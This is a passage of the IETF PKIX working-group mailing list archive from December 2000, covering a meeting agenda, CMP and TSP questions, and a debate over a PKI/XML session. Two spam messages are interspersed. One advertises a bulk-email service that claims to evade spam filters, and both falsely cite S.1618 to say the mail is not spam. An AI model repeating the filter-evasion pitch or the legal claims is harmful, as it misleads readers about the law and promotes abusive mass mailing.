with similar message structures, but I can't seem to find any mention of 
this in CMP/CRMF. Any ideas, anyone?

Ari



From owner-ietf-pkix@imc.org  Wed Dec  6 17:01:38 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA07787
	for <pkix-archive@odin.ietf.org>; Wed, 6 Dec 2000 17:01:38 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id NAA10768;
	Wed, 6 Dec 2000 13:58:30 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 13:57:00 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA10680
	for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 13:56:58 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id QAA07638
	for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 16:59:05 -0500 (EST)
Message-Id: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Wed, 06 Dec 2000 16:56:46 -0500
To: ietf-pkix@imc.org
From: Tim Polk <tim.polk@nist.gov>
Subject: PKIX WG tentative agenda
In-Reply-To: <97603133708646@kahu.cs.auckland.ac.nz>
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="=====================_10195782==_"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

--=====================_10195782==_
Content-Type: text/plain; charset="us-ascii"; format=flowed


Folks,

I have attached the tentative agenda for next week's PKIX sessions.   As 
usual, we have a rather full agenda.  Both days should be 
interesting;  we'll discuss the path validation protocols on Tuesday and 
XML on Wednesday.  In between, we'll cover the status of our twenty current 
I-Ds.

I am projecting a half hour for discussions on XML and PKI.  So far, Phil 
has requested time to describe XKMS.  If you would like to present under 
this general topic, please send me email.  I will try to get everyone some 
time to present their views.

Thanks,

Tim Polk
--=====================_10195782==_
Content-Type: text/plain; charset="us-ascii"
Content-Disposition: attachment; filename="IETF PKIX agenda.txt"

PKIX WG (pkix-wg)

TUESDAY, December 12 at 1545-1645
WEDNESDAY, December 13 at 1300-1500
=================================

CHAIR: Stephen Kent <kent@bbn.com>, Tim Polk <tim.polk@nist.gov>

AGENDA:

Document Status Review Tim Polk (NIST)
      The working group has twenty current Internet-Drafts.  A number
      of documents are in various stages of Last Call.  Several others
      are ready for Last Call. (5 min.)

Delegated Path Validation Services - various
      The working group has been presented with several alternative
      proposals.  The current proposals are the Simple Certificate
      Validation Protocol (SCVP) and Delegated Path Validation drafts. 
      The WG needs to select one I-D as the PKIX path validation 
      protocol and create one standards track specification.  An
      extensive discussion is planned for this session, with
      presentations by the authors of the competing specifications 
      as well as the WG chairs.  (up to 30 min.)

Qualified Certificates Profile - Stefan Santesson (Addtrust)
      This document has been approved as a Standards track RFC and
      is currently in the editing queue.  A brief discussion of the
      status of the corresponding ETSI specification will be
      included in this update. (5 min.)

Data Validation and Certification Server - Carlisle Adams (Entrust)
      This document has been approved as a Experimental
      track RFC and is currently in the editing queue. (5 min.)  

Time Stamp Protocols (TSP) - Denis Pinkas (Bull)
      This document has been through working group Last Call and is
      currently under Area Director Review.  This status update will
      describe changes made to the TSP specification as a consequence
      of Last Call. (5 min.)

Attribute Certificate Profile - Steve Farrell (Baltimore)
      This document has been through working group Last Call and is
      currently under Area Director Review.  This status update will
      describe changes made to the Attribute Certificate Profile as
      a consequence of Last Call. (5 min.)

Technical Non-Repudiation - Tim Polk (NIST) for Tom Gindin (IBM)
      After minor changes are incorporated to address recent comments, 
      this document will be ready to progress as an Informational track
      specification. (5 min.)

Permanent Identifier - Denis Pinkas (Bull)
      This document is stable and ready for progression to RFC status.
      This discussion will center on the strategy for progressing 
      this document. (5 min.)

[*Approximate* breaking point between meetings]

Certificate and CRL Profile revisions - Russ Housley (SPYRUS) 
      This document is the follow-up to RFC 2459.  A new draft of this
      document has been published.  Hopefully, we are ready for
      Working Group Last Call.  The document will be a standards 
      Track and is expected to go to Proposed Standard. (10 min.)

Public Key Algorithms and Identifiers - Russ Housley (SPYRUS)
      This document is a companion to the Certificate and CRL Profile.
      This specification contains the algorithm-specific information,
      such as OIDs and encoding information.  This specification is 
      ready for WG Last Call and is expected to progress to Proposed
      Standard with the Certificate and CRL Profile. (5 min.)

CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs)
      Bob has been organizing interoperability testing for CRMF/CMP
      Implementations.  This testing will support the progression of CMP
      and CRMF to Draft standard. (10 min.)

Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust) 
	This document incorporates clarifications to RFC 2511.  These 
      changes are proposed as a result of interoperability testing.  
      This specification is nearly ready for Last Call and progression
      of CRMF to Draft Standard. (5 min.) 

Certificate Management Protocol (CMP) - Carlisle Adams (Entrust)
	This document incorporates clarifications to RFC 2510.  These 
      changes are proposed as a result of interoperability testing.  
      This specification is nearly ready for Last Call and progression
      of CMP to Draft Standard. (5 min.) 

OCSPv2 and Delegated Path Discovery - Michael Myers (VeriSign)
	These documents incorporate clarifications and enhancements to
      RFC 2560 and define a new OCSP extension for path discovery.  The
      editor feels the OCSPv2 is stable and ready for progression to RFC
      status. See the following resentation. (10 min.)

Comments on OCSPv2 - Denis Pinkas (Bull)
	An alternative view on the progression of OCSPv2. (5 min.)

CP/CPS Framework - Santosh Chokhani (Cygnacom)
      An ad hoc group of PKIX and ABA members has been working on
      revisions to RFC 2527, the "Certificate Policy and Certification
      Practices Framework".  A new draft will be posted in the near
      future.  This update will describe expected changes in the 
      document. (5 min.)

PKIX Roadmap - Sean Turner (IECA)
      This document provides an overview or "roadmap" of the work
      done by the IETF PKIX working group. It defines common terms, 
      describes basic theory behind PKI, and provides an overview of 
      PKIX documents and the relationships between them.  This document
      is now fairly stable, and could be considered for progression as
      an informational RFC. (5 min.)

Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford)
      This document is the LDAPv3 analog of RFC 2559.  This document
      describes the features of LDAPv3 that are essential, or not
      required, or are optional for servers to support a PKI based
      on X.509. (5 min.) 

Additional LDAP Schema for PKIs and PMIs - David Chadwick (Salford)
      This specification is a supplement to RFC 2587, and describes
      Additional schema elements for use with LDAPv3 PKI repositories.

Attribute Certificate Acquisition Protocol - Steve Farrell (Baltimore)
      This document specifies a deliberately limited protocol for
      requesting attribute certificates from a server. (5 min.)

Repository Locator Service - Phil Hallem-Baker (VeriSign)
      This document leverages DNS and DNS SRV records to enable
      Certificate using systems to locate PKI repositories 
      based on a domain name, identify the protocols that can be
      used to access the repository, and obtain addresses for the
      servers that host the repository service.  (5 min.)

PKIX and XML - various
       The relationship of PKI and XML-based clients has been the
       subject of great discussion on the list.  As time allows, 
       we will continue that discussion.  (30-40 min.)

--=====================_10195782==_--



From owner-ietf-pkix@imc.org  Wed Dec  6 18:32:57 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA04109
	for <pkix-archive@odin.ietf.org>; Wed, 6 Dec 2000 18:32:57 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA16017;
	Wed, 6 Dec 2000 15:30:04 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 15:28:32 -0800
Received: from powernet.com.eg (unassigned.future.com.eg [163.121.126.100] (may be forged))
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA15920
	for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 15:28:28 -0800 (PST)
From: bn1bn2@yahoo.com
Received: from yNOh51hb0  [63.28.123.13] by powernet.com.eg
  (SMTPD32-5.00) id A7B14ED0120; Mon, 04 Dec 2000 01:30:57 +0200
DATE: 03 Dec 00 3:36:43 PM
Message-ID: <u2U6etBG7Cvr3L>
SUBJECT:  Holiday Special: Don't miss the savings!
Precedence: bulk
To: undisclosed-recipients:;
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Hurry!!! Time is running out.

Thinking of getting a laptop computer for the holidays, or any occasions...
Brand new name brand notebooks at up to 35% savings, compare around than
call us 1-800-644-9584. We have thousands Notebook PC, PDAs, Digital
Cameras, Parts and Accessories in stock for the holiday, anything you need,
we can get you the lower prices.

 C o m p a q
==================================================
Compaq Armada M700		$2199
Intel PIII 650 MHz, 128MB, 12.0GB, 14.1in TFT, 24X CD-ROM, 56 Kbps, 10/100
Ethernet Card, Windows NT 4.0

Compaq Presario 1200-XL125	$1379
AMD K6-2 533 MHz, 64MB , 6.0GB, 13.3in TFT, 8X DVD-ROM, 56Kbps , WIN98se

Compaq Presario 1200-XL300	$1095
Intel Celeron 600 MHz, 64MB, 6.0GB, 13in HPA, 24X CD-ROM, 56K , Windows ME

Compaq Presario 1200-XL325	$1499
Intel PIII 650 MHz, 64MB, 6.0GB, 13.3in TFT, 8X DVD-ROM, 56K , Windows ME

Compaq Presario 1700-XL360	$1799
Intel PIII 600 MHz, 64MB, 10.0GB, 14.1in TFT, 8X DVD-ROM, 56K , Windows ME


 H P
====================================================
HP Omni Book 6000	$3499
Intel PIII 850MHz , 128 MB , 20GB, 15.1in TFT, 8X DVD-ROM, 56Kbps, Windows
2000

HP Pavilion N5150	$1499
Intel PIII 600 MHz, 64MB, 10.0GB , 13.3in TFT, 8X DVD-ROM, 56Kbps, Windows
Millennium Edition

HP Pavilion N5170	$1599
Intel PIII 600 MHz , 64MB, 7.0GB , 14.1in TFT, 8X DVD-ROM, 56Kbps, 10/100
Ethernet, Windows Millennium Edition

HP Pavilion N5195	$2199
Intel PIII 700 MHz , 128MB , 20.0GB , 15.1in TFT, 8X DVD-ROM, 56Kbps, 10/100
Ethernet, Windows Millennium Edition


 S O N Y
====================================================
Sony VAIO PCG-F580 Notebook	$2099
Intel PIII 650 MHz, 64MB, 12.0GB, 15.0in TFT, 8X DVD-ROM, 56K, Windows 98se

Sony VAIO PCG-F650 Notebook	$1889
Intel PIII 600 MHz, 64MB, 12.0GB, 14.1in TFT, 8X DVD-ROM, 56Kbps, Windows ME


For more info or to place an order call:

1-800-644-9584
To Visit Our Site http://www.laptopland.com to find out more detail


This message is being sent to you in compliance with the proposed Federal
legislation for commercial e-mail (S.1618 - SECTION 301)."Pursuant to
Section 301, Paragraph (a)(2)(C) of S. 1618, further transmissions to you by
the sender of this e-mail may be stopped at no cost to you by submitting a
request to be removed. INSTRUCTIONS- click here
mailto:member9288@computerassociation.com?subject=removelist134 to be
removed.








From owner-ietf-pkix@imc.org  Thu Dec  7 00:03:02 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA06064
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 00:03:01 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id VAA23910;
	Wed, 6 Dec 2000 21:00:03 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 6 Dec 2000 20:58:20 -0800
Received: from bsd.gymparnr.sk (bsd.gymparnr.sk [195.168.176.67])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id UAA23499
	for <ietf-pkix@imc.org>; Wed, 6 Dec 2000 20:58:16 -0800 (PST)
From: hjghjgjh@yahoo.com
Received: (qmail 16810 invoked from network); 6 Dec 2000 00:18:35 -0000
Received: from 1cust62.tnt1.los-angeles.ca.da.uu.net (HELO uOxD5YC8u?) (63.57.183.62)
  by bsd.gymparnr.sk with SMTP; 6 Dec 2000 00:18:35 -0000
DATE: 05 Dec 00 4:38:11 PM
Message-ID: <Y1UVXLHF9vV6FL03c1e>
SUBJECT: 1+1=2
Precedence: bulk
To: undisclosed-recipients:;
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

The Internet's Finest and Most Reliable Bulk Email Provider!

Since 1996, Tech Data Technologies has provided bulk email service to thousands of well-satisfied customers. We offer the most competitive prices in the industry, made possible by our high percentage of repeat business. We have the most advanced, direct email technology, employed by only a knowledgeable few in the world. Our expert programmers have made it possible for us to penetrate any email blocking filter in use.

We have over 120 million active email addresses, increasing our list at the rate of half a million to one million a month. We will put your product or service instantly and directly into the hands of millions of prospects! You will have instant, guaranteed results, something no other form of marketing can claim. Our turn around time is a remarkable 24 hours.

Our email addresses are sorted by country, state and target. Your marketing campaign will speed with pinpoint accuracy to your desired audience!

Your message can be presented in any language you wish, as plain text if you desire simplicity, or in html with color and graphics.

Call us for a free consultation at (323)- 851- 8386  [U.S.A.]. We are open 24 hours a day, 7 days a week. No one understands the global market like we do. 

For a limited time, take advantage of our holiday special -- two million general U.S. emails for just $450 per million! We include, at no cost, a bullet proof email address for 30 days, a $400 value!

BULK EMAIL PRICES

   500,000........................$375
   750,000........................$562
1,200,000........................$720
1,600,000..................    ...$960
3,000,000......................$1,500
3,000,000+ ...................PLEASE CALL FOR A QUOTE


Resellers welcome. We accept Visa, MasterCard and check by FAX.

DON'T WAIT! LET TECH DATA TECHNOLOGIES BE YOUR PARTNER!!


Under Bill s.1618 TITLE III passed by the 105th U.S. Congress this letter is not considered "spam" as long as we include: 1) contact information and, 2) the way to be removed from future mailings (see below).To Remove Yourself From This List: reply to this email with the email
address that you would like removed and the word REMOVE in the subject heading.




From owner-ietf-pkix@imc.org  Thu Dec  7 03:40:14 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA00882
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 03:40:13 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id AAA19396;
	Thu, 7 Dec 2000 00:37:24 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 00:35:49 -0800
Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id AAA19076;
	Thu, 7 Dec 2000 00:35:47 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by mailf.telia.com (8.9.3/8.9.3) with ESMTP id JAA12793;
	Thu, 7 Dec 2000 09:37:55 +0100 (CET)
Received: from mega (t4o69p6.telia.com [62.20.145.126])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB78bso14699;
	Thu, 7 Dec 2000 09:37:54 +0100 (CET)
Message-ID: <002c01c06028$ca234000$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>, "Tim Polk" <tim.polk@nist.gov>,
        <ietf-pkix@imc.org>, "Paul Hoffman / IMC" <phoffman@imc.org>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Subject: PKIXML session.  Was: PKIX WG tentative agenda
Date: Thu, 7 Dec 2000 09:36:24 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id AAA19079
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Tim, 
What you are saying is that there _will_ be some kind of a PKIXML session (short but something at least) 
which I have asked Steve K to arrange in and off this list with no success. 

Unfortunately, I and few others cannot waste their precious time on things that are decided 
in the last minute with no previous information. As we have discussed this subject for a month 
or so, I am pretty disappointed on how PKIX handled this.  OK, maybe it is a "win" in somebody's 
view that the loudest PKI-XML proponent (who still insists that this is a _market_ thing as well) will
not be there... 

Anders



> I am projecting a half hour for discussions on XML and PKI.  So far, Phil 
> has requested time to describe XKMS.  If you would like to present under 
> this general topic, please send me email.  I will try to get everyone some 
> time to present their views.
> 
> Thanks,
> 
> Tim Polk



From owner-ietf-pkix@imc.org  Thu Dec  7 05:39:31 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA25181
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 05:39:31 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id CAA08470;
	Thu, 7 Dec 2000 02:36:42 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 02:36:33 -0800
Received: from atsgw.cyber.ee (atsgw.cyber.ee [195.50.202.13])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA08435
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 02:36:32 -0800 (PST)
Received: from kiku.itsise (kiku.itsise [192.168.2.2])
	by atsgw.cyber.ee (8.11.1/8.11.1) with ESMTP id eB7Acfo28319
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:38:41 +0200
Received: from cyber.ee (dino.itsise [192.168.2.137])
	by kiku.itsise (8.9.1a/8.9.1) with ESMTP id MAA16992
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 12:38:41 +0200
Message-ID: <3A2F696B.D82AFDCD@cyber.ee>
Date: Thu, 07 Dec 2000 12:41:47 +0200
From: Margus Freudenthal <margus@cyber.ee>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: ee,et,en
MIME-Version: 1.0
To: PKIX list <ietf-pkix@imc.org>
Subject: CMP question
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Hello.

The RFC 2510 (or its successor) does not define how one should respond
to announcement messages (i.e. certificate announcement, revocation
announcement, CRL announcement).  In some cases (mostly for revocation)
the sending party needs to know that the receiver has really got and
understood the message.  It seems to me that the receiver should reply
with Confirmation to indicate that the message was OK or with
ErrorMsgRep, if it wasn't.

Any other suggestions?



-- 
Margus Freudenthal                           margus@cyber.ee
Cybernetica                                  http://www.cyber.ee/


From owner-ietf-pkix@imc.org  Thu Dec  7 07:35:24 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA08290
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 07:35:24 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA19483;
	Thu, 7 Dec 2000 04:32:33 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 04:32:25 -0800
Received: from certplus.com ([195.101.88.81])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id EAA19424
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 04:32:22 -0800 (PST)
Received: from certplus.com ([192.168.212.178])
	by certplus.com (8.8.7/8.8.7) with ESMTP id NAA20416;
	Thu, 7 Dec 2000 13:38:03 +0100
Message-ID: <3A2F83AF.8726DAE7@certplus.com>
Date: Thu, 07 Dec 2000 13:33:51 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
CC: Tim Polk <tim.polk@nist.gov>
Subject: Re: PKIX WG tentative agenda
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Tim Polk wrote:

> I have attached the tentative agenda for next week's PKIX sessions.   As
> usual, we have a rather full agenda.  Both days should be
> interesting;  we'll discuss the path validation protocols on Tuesday and
> XML on Wednesday.  In between, we'll cover the status of our twenty current
> I-Ds.

The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
finished, and that the draft is now under Area Director Review.

What would be a tentative time-line until publication as an RFC, or until
attribution of a RFC number ?





From owner-ietf-pkix@imc.org  Thu Dec  7 09:36:23 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA24756
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 09:36:22 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA27277;
	Thu, 7 Dec 2000 06:32:12 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 06:32:01 -0800
Received: from email.nist.gov (email.nist.gov [129.6.2.7])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA27232;
	Thu, 7 Dec 2000 06:31:59 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67])
	by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA15130;
	Thu, 7 Dec 2000 09:34:01 -0500 (EST)
Message-Id: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 09:31:49 -0500
To: "Anders Rundgren" <anders.rundgren@telia.com>,
        "Stephen Kent" <kent@bbn.com>, <ietf-pkix@imc.org>,
        "Paul Hoffman / IMC" <phoffman@imc.org>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-Reply-To: <002c01c06028$ca234000$0201a8c0@vincent.se>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Anders,

It is very important that we come to some consensus regarding how 
X.509-based PKIs can be integrated with XML-based clients.  This topic is 
in my opinion within the scope of our charter.  The PKIX WG has spent a lot 
of cycles on the list discussing this topic, so there is clearly 
interest.  It makes sense to deal with it as much as we can during the 
session.  I deferred this discussion to the end since it will consume any 
available time.

This is very different from a session on XML-based PKIs, where ASN.1 is 
never used.  That is the session I thought you were requesting, and it is 
well outside our charter.  It is not my role or Steve's to be organizing 
such a session.  To be honest, I personally believe that XML is an 
inappropriate encoding format for certificates (public key *or* attribute).

I am sorry you assumed we wouldn't discuss PKI and XML at all.  The 
discussion is incomplete if the "loudest PKI-XML proponent" (or opponent) 
is not present.

Tim

At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote:
>Tim,
>What you are saying is that there _will_ be some kind of a PKIXML session 
>(short but something at least)
>which I have asked Steve K to arrange in and off this list with no success.
>
>Unfortunately, I and few others cannot waste their precious time on things 
>that are decided
>in the last minute with no previous information. As we have discussed this 
>subject for a month
>or so, I am pretty disappointed on how PKIX handled this.  OK, maybe it is 
>a "win" in somebody's
>view that the loudest PKI-XML proponent (who still insists that this is a 
>_market_ thing as well) will
>not be there...
>
>Anders
>
>
>
> > I am projecting a half hour for discussions on XML and PKI.  So far, Phil
> > has requested time to describe XKMS.  If you would like to present under
> > this general topic, please send me email.  I will try to get everyone some
> > time to present their views.
> >
> > Thanks,
> >
> > Tim Polk



From owner-ietf-pkix@imc.org  Thu Dec  7 10:16:19 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA01812
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 10:16:18 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29308;
	Thu, 7 Dec 2000 07:13:16 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 07:13:13 -0800
Received: from marcy.adiron.com ([128.230.111.5])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29274
	for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 07:13:08 -0800 (PST)
Received: from localhost (polar@localhost)
	by marcy.adiron.com (8.9.1/8.9.0) with ESMTP id KAA04897;
	Thu, 7 Dec 2000 10:10:25 -0500
X-Authentication-Warning: marcy.adiron.com: polar owned process doing -bs
Date: Thu, 7 Dec 2000 10:10:24 -0500 (EST)
From: Polar Humenn <polar@adiron.com>
To: Tim Polk <tim.polk@nist.gov>
cc: ietf-pkix@imc.org
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-Reply-To: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
Message-ID: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

On Thu, 7 Dec 2000, Tim Polk wrote:

<snipped>

> To be honest, I personally believe that XML is an 
> inappropriate encoding format for certificates (public key *or* attribute).

Forgive me, I'm just an academic. So, my I ask, what does the encoding
format really matter? And especially, why is XML "inappropriate" for
certificates?

Cheers,
-Polar

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:polar@adiron.com       2-212 CST      
Phone: 315-443-3171           Syracuse, NY 13244-4100
Fax:   315-443-4745           http://www.adiron.com



From owner-ietf-pkix@imc.org  Thu Dec  7 10:21:46 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA02551
	for <pkix-archive@odin.ietf.org>; Thu, 7 Dec 2000 10:21:46 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id HAA29666;
	Thu, 7 Dec 2000 07:18:49 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 7 Dec 2000 07:18:46 -0800
Received: from maile.telia.com (maile.telia.com [194.22.190.16])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29634;
	Thu, 7 Dec 2000 07:18:44 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241])
	by maile.telia.com (8.9.3/8.9.3) with ESMTP id QAA16707;
	Thu, 7 Dec 2000 16:20:51 +0100 (CET)
Received: from mega (t7o69p49.telia.com [213.65.46.49])
	by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB7FKgo08298;
	Thu, 7 Dec 2000 16:20:42 +0100 (CET)
Message-ID: <003101c06061$0f716dc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>, <ietf-pkix@imc.org>,
        "Paul Hoffman / IMC" <phoffman@imc.org>,
        "Tim Polk" <tim.polk@nist.gov>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
Date: Thu, 7 Dec 2000 16:19:12 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id HAA29635
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

Tim,
Thanx for the answer.
My idea was really that a BOF-like discussion should set the scope of PKIXML which
could be very humble (add an optional message syntax as in SVCP and see if
anybody likes it), to "rewriting it all XML".  The latter will surely happen some day if the
"trend" persists, but is unlikely to be priority #1, even for the loudest XML proponents.

BTW, I have just read the S2ML 0.7a draft which is like an XML replacement for PKIX-ACs
so the heat is already on [PKIX].

Regards
Anders Rundgren


----- Original Message ----- 
From: "Tim Polk" <tim.polk@nist.gov>
To: "Anders Rundgren" <anders.rundgren@telia.com>; "Stephen Kent" <kent@bbn.com>; <ietf-pkix@imc.org>; "Paul Hoffman / IMC" <phoffman@imc.org>
Sent: Thursday, December 07, 2000 15:31
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda


> Anders,
> 
> It is very important that we come to some consensus regarding how 
> X.509-based PKIs can be integrated with XML-based clients.  This topic is 
> in my opinion within the scope of our charter.  The PKIX WG has spent a lot 
> of cycles on the list discussing this topic, so there is clearly 
> interest.  It makes sense to deal with it as much as we can during the 
> session.  I deferred this discussion to the end since it will consume any 
> available time.
> 
